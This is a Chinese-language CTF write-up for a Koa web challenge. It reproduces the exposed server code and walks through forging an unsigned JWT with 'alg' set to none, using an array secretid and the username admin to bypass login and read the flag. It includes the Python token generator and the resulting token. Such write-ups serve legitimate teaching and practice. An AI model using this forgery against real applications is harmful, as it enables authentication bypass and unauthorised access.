有注册登录，先注册一个账号然后登录进去

在登录页面的源代码发现

访问得到

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置？不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

里面有个/api/flag，直接去访问

在上面的js代码中，可以看到采用了koa框架

访问/controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

当用户名是admin的时候，可以拿到flag

而且在上面的代码中看到，有jwt

登录时抓包

把最下面这一段去JSON Web Tokens - jwt.io解密

能看到登录时的用户名和密码

HEADER中的alg就是加密方式，把它修改为none，就默认不加密，然后将payload里的username修改为admin即可

原因：签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法，即没有签名算法。当alg为none时，后端将不执行签名验证。将alg更改为none后，从JWT中删除签名数据（仅标题+‘.’+
payload +‘.’）并将其提交给服务器

生成jwt

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123456",
  "iat": 1649380156
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.

访问/api/flag，得到flag